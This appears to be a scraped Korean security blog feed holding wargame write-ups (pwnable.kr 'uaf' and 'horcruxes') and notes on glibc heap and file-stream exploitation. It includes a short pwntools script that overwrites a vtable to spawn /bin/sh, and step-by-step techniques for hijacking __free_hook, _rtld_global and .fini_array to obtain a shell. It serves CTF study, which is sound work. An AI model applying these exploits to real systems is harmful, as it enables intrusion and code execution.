op; switch(op){ case 1: m-\u0026gt;introduce(); w-\u0026gt;introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout \u0026lt;\u0026lt; \u0026#34;your data is allocated\u0026#34; \u0026lt;\u0026lt; endl; break; case 3: delete m; delete w; break; default: break; } } return 0;\t} C++에서 가상 함수가 있는 클래스는 컴파일 타임에 vtable이 생성됩니다. 현재 Man 과 Woman 의 첫 8바이트는 vtable 포인터이고, introduce() 호출 시 객체 +0 에서 vtable 주소를 읽어서 +8 주소로 점프합니다.\ncase 3으로 m, w를 delete하면 힙 청크가 반환되지만 포인터가 null이 되지는 않습니다. 이후 case 2를 두 번 호출하면 할당자가 같은 청크를 재사용하면서 파일에서 읽은 값인 give_shell - 0x8 주소가 원래 vtable 포인터 자리에 덮어써집니다.\ncase 1에서 m-\u0026gt;introduce()가 호출되면 vtable+0 에서 give_shell - 0x8 주소를 읽고, 거기서 +8 주소인 give_shell()로 점프합니다. vtable 포인터 자체의 무결성은 검증되지 않으므로 system(\u0026quot;/bin/sh\u0026quot;)가 그대로 실행됩니다.\n#!/usr/bin/env python3 from pwn import * context.log_level = \u0026#34;debug\u0026#34; e = ELF(\u0026#34;./uaf\u0026#34;) conn = ssh(\u0026#34;uaf\u0026#34;, \u0026#34;pwnable.kr\u0026#34;, 2222, \u0026#34;guest\u0026#34;) # vtable[1]이 give_shell을 가리키도록 조작 binsh = 0x0000000000401550 - 0x8 # (*(void (__fastcall **)(Human *))(*(_QWORD *)v12 + 8LL))(v12); conn.process(\u0026#34;mkdir /tmp/aaaaaa/\u0026#34;.split(\u0026#34; \u0026#34;)) conn.process(\u0026#34;echo -n -e \u0026#39;\\\\x48\\\\x15\\\\x40\u0026#39;\u0026gt;/tmp/aaaaaa/temp\u0026#34;.split(\u0026#34; \u0026#34;)) proc = conn.process(\u0026#34;/home/uaf/uaf 8 /tmp/aaaaaa/temp\u0026#34;.split(\u0026#34; \u0026#34;)) # free -\u0026gt; 재할당 -\u0026gt; 재할당 -\u0026gt; use proc.sendline(\u0026#34;3\\n2\\n2\\n1\u0026#34;) proc.interactive() Fastbin Duplication 같은 청크가 double free 되면 fastbin 리스트에 동일한 청크 주소가 두개 들어갑니다.\nfastbin에는 old == p 비교가 있어 연속된 동일 청크 free를 감지하지만, 중간에 다른 청크를 끼워서 free 해주면 우회할 수 있습니다.\nA 청크를 double free 했고 B청크를 그 사이에 free 했다고 가정하면 malloc() 호출시 A가 반환됩니다.\n그런데 A는 여전히 fastbin에도 남아 있으므로, 반환받은 A의 사용자 데이터 영역이 곧 fastbin 상의 A의 fd 포인터와 같은 위치입니다. 여기에 원하는 target 주소를 쓰면 fastbin이 head -\u0026gt; B -\u0026gt; A -\u0026gt; target으로 바뀝니다.\n이후 malloc()을 두 번 더 호출해 B와 A를 소진하면, 네 번째 malloc()이 target 주소를 반환합니다.\nTcache Duplication glibc 2.29 전까지 tcache 는 double free에 대한 검증이 전혀 없었습니다.\n이건 예시는 없지만 그냥 설명해보겠습니다. 만약 A를 더블 프리하게 되면 tcache bin의 상태는 head -\u0026gt; A -\u0026gt; A -\u0026gt; 루프... 로 변합니다.\n이 상태에서 malloc()으로 동일한 크기를 할당 받아 fd 포인터를 원하는 주소로 덮어쓰면, 이후 두번 malloc() 을 호출해주면 마지막에 그 주소가 반환됩니다.\n__free_hook / __malloc_hook Overwrite glibc 2.34 이전까지는 내부적으로 디버깅을 위해 __free_hook, __malloc_hook 같은 함수 포인터를 제공했었습니다. 이 포인터가 NULL이 아니면 free(), malloc() 호출 시 해당 포인터를 먼저 실행하게 됩니다.\nlibc base 주소를 leak하면 __free_hook의 절대 주소를 계산할 수 있습니다.\n여기에 tcache duplication 같은 기법을 조합하여 __free_hook 주소를 malloc()에서 반환받은 뒤 system() 함수 주소를 써넣으면, 이후 free(ptr)가 호출될 때 ptr을 인자로 system()이 실행됩니다.\n추가로 ptr이 \u0026quot;/bin/sh\u0026quot; 문자열을 담고 있다면 셸을 얻을 수 있습니다.\n2.34 이후론 보안 이슈로 인해 삭제되었습니다.\nUnsafe Unlink 단일 연결 리스트 bin(fastbin, tcache)을 제외한 bin에서 병합이 일어날 때 unlink가 수행됩니다.\nFD = P-\u0026gt;fd; BK = P-\u0026gt;bk; FD-\u0026gt;bk = BK; BK-\u0026gt;fd = FD; Unsafe Unlink는 이 병합 과정에서 공격자가 chunk의 fd, bk 를 조작해 unlink가 임의 주소에 write 하도록 만드는 기법입니다.\n현재 glibc 는 unlink 를 진행하기 전 두가지 검사를 진행하는데 모두 충족해줘야 unlink가 진행됩니다.\nif (__builtin_expect (chunksize(P) != prev_size(next_chunk(P)), 0)) 현재 청크의 size 필드와 다음 청크의 prev_size 필드가 일치해야 합니다. 만약 fake chunk 를 만들 때 size만 맞추고 다음 청크의 prev_size 를 맞춰주지 않으면 여기서 터집니다.\nFD = P-\u0026gt;fd; BK = P-\u0026gt;bk; if (__builtin_expect (FD-\u0026gt;bk != P || BK-\u0026gt;fd != P, 0)) 현재 청크 앞에 있는 청크의 bk 는 현재 청크를 가르키고 있어야하고 뒤에 있는 청크의 fd 는 현재 청크를 가르켜야 합니다.\n두 번째 검사를 통과하려면 P 자신의 주소를 알아야 fd, bk를 역산할 수 있는데, chunk_ptr(P를 가리키는 포인터)가 전역변수에 있으면 정적 주소라 leak 없이 바로 계산 가능하지만, 스택이나 힙에 있으면 해당 주소를 먼저 leak해야 합니다.\n예전에 풀었던 pwnable.kr unlink Writeup을 가져올까 했지만 제생각엔 완전한 unlink 문제라기엔 좀 부족한거 같아 뺐습니다.\n읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2021-05-12-ptmalloc2-exploit/","summary":"\u003cp\u003e동적 할당 메커니즘에서는 성능을 위해 free 된 청크들을 재활용 합니다. 만약 이런 재활용 없이 시스템콜을 통해 매번 메모리를 할당받거나 반환한다면 유저-커널모드 전환 비용으로 인해 성능 하락이 심해집니다.\u003c/p\u003e\n\u003cp\u003e그래서 메모리 할당자는 기존 메모리 영역 재사용을 위한 힙 자료구조와 그에 맞는 최적의 힙 관리 알고리즘을 구현해놨습니다.\u003c/p\u003e\n\u003cp\u003e이번 포스팅에선 이러한 구조에 대해 이해하고 어떻게 exploit 할 수 있는지 알아보려 합니다.\u003c/p\u003e\n\u003cp\u003e이번에 살펴볼 메모리 할당자는 ptmalloc2 입니다. dlmalloc, TCMalloc 도 있지만, ptmalloc2 는 glibc 의 기본 할당자로 오랫동안 사용되어왔고, 리얼월드에서도 많이 쓰입니다.\u003c/p\u003e","title":"Introduction to ptmalloc2 Heap Management and Exploitation"},{"content":"이번 글에서는 최근에 공부했던 FSOP 를 포함한 여러 익스 테크닉들을 빠르게 다뤄보겠습니다.\n메모 느낌이라 틀린 부분이 있을수도 있으니 가볍게 봐주시면 감사하겠습니다.\n_IO_FILE glibc의 파일 입출력은 _IO_FILE 구조체 하나로 구현되어 있습니다.\nstderr, stdout, stdin 같은 기본 스트림들도 전부 이 구조체 기반이고, scanf()가 어디에 쓸지, 버퍼를 어디서 읽을지 전부 이 구조체 안의 포인터들에 의해 결정됩니다.\nlibc 내부에서는 스트림들이 _IO_FILE로 구현되어 싱글 링크드 리스트로 연결되어 있습니다.\n_IO_list_all -\u0026gt; _IO_2_1_stderr_.file._chain -\u0026gt; _IO_2_1_stdout_.file._chain -\u0026gt; _IO_2_1_stdin_.file._chain _IO_buf_base _IO_2_1_stdin_.file._IO_buf_base를 덮어쓸 수 있어야 함 이후 fgets(), scanf() 등 stdin을 사용하는 함수가 호출되어야 함 scanf()나 fgets() 같은 함수가 입력을 받을 때, _IO_buf_base 부터 _IO_buf_end까지의 영역을 버퍼로 사용합니다. 이 두 포인터를 원하는 주소로 조작하면, 다음에 scanf()가 호출될 때 해당 메모리 영역에 임의 쓰기가 가능합니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/libio.h#L241 struct _IO_FILE { int _flags;\t/* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr;\t/* Current read pointer */ char* _IO_read_end;\t/* End of get area. */ char* _IO_read_base;\t/* Start of putback+get area. */ char* _IO_write_base;\t/* Start of put area. */ char* _IO_write_ptr;\t/* Current put pointer. */ char* _IO_write_end;\t/* End of put area. */ char* _IO_buf_base;\t/* Start of reserve area. */ char* _IO_buf_end;\t/* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it\u0026#39;s too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; libc 주소를 이미 leak 했다면 __malloc_hook 같은 후킹 변수를 덮어씌울수도 있습니다.\n_IO_FILE vtable Overwrite _IO_FILE_plus.vtable 포인터를 덮어쓸 수 있어야 함. 어떤 파일 함수가 호출될지에 따라 오프셋도 달라짐. // https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/libioP.h#L343 struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable; }; _IO_FILE_plus에는 파일 구조체 뒤에 vtable 포인터가 붙습니다.\nfclose(), fwrite() 같은 파일 관련 함수가 호출되면 glibc는 직접 구현 함수를 부르는 게 아니라 이 vtable에서 함수 포인터를 통해서 간접 호출하게 됩니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/fileops.c#L1545 const struct _IO_jump_t _IO_file_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_file_finish), JUMP_INIT(overflow, _IO_file_overflow), JUMP_INIT(underflow, _IO_file_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_default_pbackfail), JUMP_INIT(xsputn, _IO_file_xsputn), JUMP_INIT(xsgetn, _IO_file_xsgetn), JUMP_INIT(seekoff, _IO_new_file_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_new_file_setbuf), JUMP_INIT(sync, _IO_new_file_sync), JUMP_INIT(doallocate, _IO_file_doallocate), JUMP_INIT(read, _IO_file_read), JUMP_INIT(write, _IO_new_file_write), JUMP_INIT(seek, _IO_file_seek), JUMP_INIT(close, _IO_file_close), JUMP_INIT(stat, _IO_file_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; vtable 포인터를 fake vtable 주소로 덮으면 원하는 함수 호출이 가능한데, glibc 2.24(Ubuntu 16.04) 이후엔 이런 공격을 막기 위해 _IO_vtable_check 라는 검증 로직이 추가되었습니다.\n_IO_vtable_check 우회 (glibc \u0026gt;= 2.24) glibc 2.24부터 도입된 vtable 검증 로직은 이렇습니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/libioP.h#L932 /* Perform vtable pointer validation. If validation fails, terminate the process. */ static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset \u0026gt;= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; } vtable 포인터가 __libc_IO_vtables 섹션 범위 안에 있는지만 확인하고 범위 밖이면 _IO_vtable_check()가 프로세스를 죽이게 됩니다.\n범위 안에 있는지만 보는 단순한 검증이라 우회가 가능합니다.\n// https://elixir.bootlin.com/glibc/glibc-2.27/source/libio/strops.c#L359 const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) }; 이중에 _IO_str_overflow() 와 _IO_str_finish() 로 우회가 가능한데 여기서는 _IO_str_overflow() 만 설명하겠습니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/libio/strops.c int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp-\u0026gt;_flags \u0026amp; _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp-\u0026gt;_flags \u0026amp; _IO_TIED_PUT_GET) \u0026amp;\u0026amp; !(fp-\u0026gt;_flags \u0026amp; _IO_CURRENTLY_PUTTING)) { fp-\u0026gt;_flags |= _IO_CURRENTLY_PUTTING; fp-\u0026gt;_IO_write_ptr = fp-\u0026gt;_IO_read_ptr; fp-\u0026gt;_IO_read_ptr = fp-\u0026gt;_IO_read_end; } pos = fp-\u0026gt;_IO_write_ptr - fp-\u0026gt;_IO_write_base; if (pos \u0026gt;= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp-\u0026gt;_flags \u0026amp; _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp-\u0026gt;_IO_buf_base; // #define _IO_blen(fp) ((fp)-\u0026gt;_IO_buf_end - (fp)-\u0026gt;_IO_buf_base) size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100; if (new_size \u0026lt; old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)-\u0026gt;_s._allocate_buffer) (new_size); // ... } _IO_str_overflow()의 중간 부분에서는 _s._allocate_buffer 함수 포인터를 호출합니다. 이 포인터를 system()으로 덮어써야 하는데 이 부분이 실행되려면 여러 조건을 통과해야합니다.\n조건에서 사용되는 값인 _IO_blen 은 _IO_FILE 의 필드로서 _IO_buf_end 와 _IO_buf_base 에 의해 계산되는 값 입니다.\n이를 이용해 _IO_buf_base가 0을, _IO_buf_end가 (\u0026quot;/bin/sh\u0026quot; 주소 - 100) / 2 를 가르키도록 조작하면, 내부 계산 과정에서 new_size가 \u0026quot;/bin/sh\u0026quot; 주소로 셋팅되도록 만들 수 있습니다.\n결과적으로 system(\u0026quot;/bin/sh\u0026quot;)을 호출하게 됩니다.\nglibc 2.28부터는 이 unchecked function pointer들이 제거되었습니다.\ntcbhead_t.stack_guard leak 으로 SSP 우회 SSP(Stack Smashing Protector)가 활성화되어 있어야 함 tcbhead_t.stack_guard를 읽을 수 있는 방법이 있어야 함. SSP가 켜진 바이너리는 스택에 카나리 값을 삽입해서 스택 오버플로를 감지합니다.\n카나리는 프로세스가 시작될 때 랜덤하게 생성되어 TLS의 stack_guard 필드에 저장됩니다. 스레드가 생성될 때 동일한 값으로 초기화되므로 같은 프로세스 내 모든 스레드는 결과적으로 같은 카나리를 가집니다. 따라서 TLS를 한 번이라도 읽을 수 있다면 SSP를 우회할 수 있습니다.\n리눅스에서 TLS 구현체는 TCB이고, 이걸 표현하는 구조체가 tcbhead_t 입니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/sysdeps/i386/nptl/tls.h#L53 typedef struct { void *tcb;\t/* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self;\t/* Pointer to the thread descriptor. */ int multiple_threads; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; int gscope_flag; #ifndef __ASSUME_PRIVATE_FUTEX int private_futex; #else int __glibc_reserved1; #endif /* Reservation of some values for the TM ABI. */ void *__private_tm[4]; /* GCC split stack support. */ void *__private_ss; } tcbhead_t; stack_guard 필드에 카나리 값이 들어가고 이 값은 security_init() 에서 초기화합니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/elf/rtld.c#L704 static void security_init (void) { /* Set up the stack checker\u0026#39;s canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); #ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard); #else __stack_chk_guard = stack_chk_guard; #endif /* Set up the pointer guard as well, if necessary. */ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard); #ifdef THREAD_SET_POINTER_GUARD THREAD_SET_POINTER_GUARD (pointer_chk_guard); #endif __pointer_chk_guard_local = pointer_chk_guard; /* We do not need the _dl_random value anymore. The less information we leave behind, the better, so clear the variable. */ _dl_random = NULL; } THREAD_SET_STACK_GUARD 매크로가 tcbhead_t.stack_guard에 값을 쓰게 됩니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/sysdeps/i386/nptl/tls.h#L414 #define THREAD_SET_STACK_GUARD(value) \\ THREAD_SETMEM (THREAD_SELF, header.stack_guard, value) _rtld_global Overwrite _rtld_global._dl_rtld_lock_recursive와 _rtld_global._dl_load_lock 두 필드를 덮을 수 있어야 함 덮어쓴 뒤 프로세스가 exit()를 호출해야 함. exit() 는 _run_exit_handlers() 를 호출하는데, 여기서 _dl_fini()가 호출됩니다.\n// https://elixir.bootlin.com/glibc/glibc-2.24/source/elf/dl-fini.c#L129 void internal_function _dl_fini (void) { /* Lots of fun ahead. We have to call the destructors for all still loaded objects, in all namespaces. The problem is that the ELF specification now demands that dependencies between the modules are taken into account. I.e., the destructor for a module is called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse order of the constructors. Since the user might have loaded objects using `dlopen\u0026#39; there are possibly several other modules with its dependencies to be taken into account. Therefore we have to start determining the order of the modules once again from the beginning. */ /* We run the destructors of the main namespaces last. As for the other namespaces, we pick run the destructors in them in reverse order of the namespace ID. */ #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns \u0026gt;= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock)); __rtld_lock_lock_recursive는 매크로 상으로 _dl_rtld_lock_recursive 를 가르키고, 이는 _rtld_global 안에 존재하는 함수 포인터 입니다.\nvmmap 으로 보면 _rtld_global 구조체가 있는 메모리 영역에는 쓰기 권한이 있기 때문에 덮는 것이 가능합니다.\nexit() 호출 전 _dl_rtld_lock_recursive 를 system() 으로 덮고 _dl_load_lock 를 \u0026quot;/bin/sh\u0026quot; 로 덮어주면 쉘을 딸수있습니다.\n.fini_array Overwrite No RELRO(Full 또는 Partial RELRO 에서는 .fini_array가 읽기 전용이 됩니다.) .fini_array는 프로그램 종료 시 _dl_fini()에 의해 순차적으로 호출되는 함수 포인터 배열입니다. 그래서 해당 배열을 덮으면 종료 과정에서 원하는 함수를 호출할 수 있습니다.\n0x7ffff7de7dc9 \u0026lt;_dl_fini+777\u0026gt;:\tmov r12,QWORD PTR [rax+0x8] ... 0x7ffff7de7de5 \u0026lt;_dl_fini+805\u0026gt;:\tje 0x7ffff7de7e00 \u0026lt;_dl_fini+832\u0026gt; 0x7ffff7de7de7 \u0026lt;_dl_fini+807\u0026gt;:\tnop WORD PTR [rax+rax*1+0x0] 0x7ffff7de7df0 \u0026lt;_dl_fini+816\u0026gt;:\tmov edx,r13d =\u0026gt; 0x7ffff7de7df3 \u0026lt;_dl_fini+819\u0026gt;:\tcall QWORD PTR [r12+rdx*8] 읽어주셔서 감사합니다.\n","permalink":"https://byeongmin.kr/posts/2021-03-22-exploitation-techniques/","summary":"\u003cp\u003e이번 글에서는 최근에 공부했던 FSOP 를 포함한 여러 익스 테크닉들을 빠르게 다뤄보겠습니다.\u003c/p\u003e\n\u003cp\u003e메모 느낌이라 틀린 부분이 있을수도 있으니 가볍게 봐주시면 감사하겠습니다.\u003c/p\u003e\n\u003ch2 id=\"_io_file\"\u003e\u003ccode\u003e_IO_FILE\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003eglibc의 파일 입출력은 \u003ccode\u003e_IO_FILE\u003c/code\u003e 구조체 하나로 구현되어 있습니다.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003estderr\u003c/code\u003e, \u003ccode\u003estdout\u003c/code\u003e, \u003ccode\u003estdin\u003c/code\u003e 같은 기본 스트림들도 전부 이 구조체 기반이고, \u003ccode\u003escanf()\u003c/code\u003e가 어디에 쓸지, 버퍼를 어디서 읽을지 전부 이 구조체 안의 포인터들에 의해 결정됩니다.\u003c/p\u003e\n\u003cp\u003elibc 내부에서는 스트림들이 \u003ccode\u003e_IO_FILE\u003c/code\u003e로 구현되어 싱글 링크드 리스트로 연결되어 있습니다.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_IO_list_all\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_IO_2_1_stderr_\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_chain\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_IO_2_1_stdout_\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_chain\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003e_IO_2_1_stdin_\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003e_chain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"_io_buf_base\"\u003e\u003ccode\u003e_IO_buf_base\u003c/code\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e_IO_2_1_stdin_.file._IO_buf_base\u003c/code\u003e를 덮어쓸 수 있어야 함\u003c/li\u003e\n\u003cli\u003e이후 \u003ccode\u003efgets()\u003c/code\u003e, \u003ccode\u003escanf()\u003c/code\u003e 등 \u003ccode\u003estdin\u003c/code\u003e을 사용하는 함수가 호출되어야 함\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ccode\u003escanf()\u003c/code\u003e나 \u003ccode\u003efgets()\u003c/code\u003e 같은 함수가 입력을 받을 때, \u003ccode\u003e_IO_buf_base\u003c/code\u003e 부터 \u003ccode\u003e_IO_buf_end\u003c/code\u003e까지의 영역을 버퍼로 사용합니다. 이 두 포인터를 원하는 주소로 조작하면, 다음에 \u003ccode\u003escanf()\u003c/code\u003e가 호출될 때 해당 메모리 영역에 임의 쓰기가 가능합니다.\u003c/p\u003e","title":"File Stream Oriented Programming and Exploitation Techniques"},{"content":"이번 문제는 소스가 제공되지 않습니다. 일단 현재 상황을 먼저 알아보겠습니다.\nVoldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and ROP it! author: jiwon choi ssh horcruxes@pwnable.kr -p2222 (pw:guest) ==================================================== horcruxes@pwnable:~$ cat ./readme connect to port 9032 (nc 0 9032). the \u0026#39;horcruxes\u0026#39; binary will be executed under horcruxes_pwn privilege. rop it to read the flag. horcruxes@pwnable:~$ file ./horcruxes ./horcruxes: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=bed2c3c01d21a3cbb1109e76a83310dfb8a077be, not stripped horcruxes@pwnable:~$ checksec --file=./horcruxes [*] \u0026#39;/home/horcruxes/horcruxes\u0026#39; Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x809f000) asm 문제처럼 주어진 바이너리는 분석용이고 실제 익스는 nc 를 통해 해야 하네요\n문제 소스가 제공되지 않아서 main 을 IDA 헥스레이로 봤는데 seccomp_rule_add() 에 넘기는 값들이 매직 넘버로 되어있어 무슨 의미인지 알기 어렵습니다.\n그래서 따로 의미를 알 수 있도록 수정했습니다.\nint __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ST1C_4 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); alarm(0x3Cu); hint(); init_ABCDEFG(); // v3 = seccomp_init(0); // seccomp_rule_add(v3, 0x7FFF0000, 0xAD, 0); // seccomp_rule_add(v3, 0x7FFF0000, 5, 0); // seccomp_rule_add(v3, 0x7FFF0000, 3, 0); // seccomp_rule_add(v3, 0x7FFF0000, 4, 0); // seccomp_rule_add(v3, 0x7FFF0000, 0xFC, 0); // #define SCMP_ACT_KILL_THREAD\t0x00000000U // #define SCMP_ACT_ALLOW\t0x7fff0000U scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL_THREAD); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, 0xad, 0); // sys_rt_sigreturn seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); return ropme(); } seccomp 규칙 때문에 seccomp_load(ctx); 가 호출된 이후부터 rt_sigreturn, open, read, write, exit_group 를 제외한 모든 시스템 콜이 차단됩니다.\nrt_sigreturn 이 허용되는 걸 보니 SROP 관련 문제일까? 라고 잠시 의심했지만 init_ABCDEFG() 와 rop_me() 를 보고 생각을 바꿨습니다.\ninit_ABCDEFG() 는 전역 변수 a~g 를 랜덤 값으로 초기화하고 이 변수들을 sum 전역변수에 합산하는 함수입니다.\nunsigned int init_ABCDEFG() { int v0; // eax unsigned int result; // eax unsigned int buf; // [esp+8h] [ebp-10h] int fd; // [esp+Ch] [ebp-Ch] fd = open(\u0026#34;/dev/urandom\u0026#34;, 0); if ( read(fd, \u0026amp;buf, 4u) != 4 ) { puts(\u0026#34;/dev/urandom error\u0026#34;); exit(0); } close(fd); srand(buf); a = 0xDEADBEEF * rand() % 0xCAFEBABE; b = 0xDEADBEEF * rand() % 0xCAFEBABE; c = 0xDEADBEEF * rand() % 0xCAFEBABE; d = 0xDEADBEEF * rand() % 0xCAFEBABE; e = 0xDEADBEEF * rand() % 0xCAFEBABE; f = 0xDEADBEEF * rand() % 0xCAFEBABE; v0 = rand(); g = 0xDEADBEEF * v0 % 0xCAFEBABE; result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE; sum = result; return result; } 그리고 ropme() 에서는 init_ABCDEFG() 에서 초기화된 a~g 까지의 모든 랜덤 값을 정확히 알고 있어야만 플래그를 읽을 수 있도록 되어 있습니다.\n현재 난수 시드로 사용되고 있는 /dev/urandom 은 암호학적으로 예측이 불가능하고 시드 변수값 leak 도 어려운 상황입니다.\nint ropme() { char s[100]; // [esp+4h] [ebp-74h] int v2; // [esp+68h] [ebp-10h] int fd; // [esp+6Ch] [ebp-Ch] printf(\u0026#34;Select Menu:\u0026#34;); __isoc99_scanf(\u0026#34;%d\u0026#34;, \u0026amp;v2); getchar(); if ( v2 == a ){ A(); } else if ( v2 == b ){ B(); } else if ( v2 == c ){ C(); } else if ( v2 == d ){ D(); } else if ( v2 == e ){ E(); } else if ( v2 == f ){ F(); } else if ( v2 == g ){ G(); } else { printf(\u0026#34;How many EXP did you earned? : \u0026#34;); gets(s); if ( atoi(s) == sum ) { fd = open(\u0026#34;flag\u0026#34;, 0); s[read(fd, s, 0x64u)] = 0; puts(s); close(fd); exit(0); } puts(\u0026#34;You\u0026#39;d better get more experience to kill Voldemort\u0026#34;); } return 0; } 그런데 잘 보면 중간 라인에서 길이 검증 없이 gets(s); 를 통해 사용자 입력을 받고 있습니다. 이 부분을 공략해야 합니다.\ns 배열은 ret 영역으로부터 120바이트 떨어져 있으니 여길 덮으면 ropme() 가 종료된 후의 실행 흐름을 조작할 수 있습니다.\n그리고 A() 부터 G() 를 보면 죄다 a 부터 g 까지의 